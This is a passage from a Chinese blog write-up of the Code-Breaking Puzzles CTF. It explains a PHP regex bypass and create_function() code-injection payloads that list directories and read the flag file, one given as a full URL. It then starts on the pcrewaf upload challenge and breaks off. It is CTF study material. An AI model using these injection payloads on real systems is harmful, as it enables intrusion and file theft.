代码审计Code-Breaking Puzzles学习记录

前言

Code-Breaking Puzzles是一场完全开放源代码的Web解密游戏,其包含但不限于PHP、Java、Node.js、Python等语言的代码审计知识。
p师傅的知识星球真是干货多多,刚刚加入就遇到这个,赶忙的学习了一波.

function PHP函数利用技巧
pcrewaf PHP正则特性
phpmagic PHP写文件技巧
phplimit PHP代码执行限制绕过

easy - function

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
   
    show_source(__FILE__);
} else {
   
    $action('', $arg);
}
  • 先看正则表达式,用了3个模式修饰符,
    i:大小写不敏感
    s:.要匹配换行符
    D:$要匹配换行符
    匹配了以字母数字或下划线的字符串的,我们需要在开头或结尾加入某个字符来绕过正则且函数依然能调用

php里默认命名空间是,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

所以可以通过function_name这样的形式绕过正则

  • 我们可以控制函数的第二个参数$arg,需要某个函数的第二个参数比较危险

PHP create_function()代码注入

payload

遍历目录

?action=create_function&arg=return 1;}var_dump(glob("/var/www/*"));//

http://51.158.75.42:8087/?action=create_function&arg=return 1;}var_dump(scandir("/var/www/"));//


获取flag

?action=create_function&arg=return 1;}readfile("/var/www/flag_h0w2execute_arb1trary_c0de");//

easy - pcrewaf

<?php
function is_php($data){
    return preg_match('/<?.*[(`;'?>'].*/is', $data);
}
if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES[&#
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值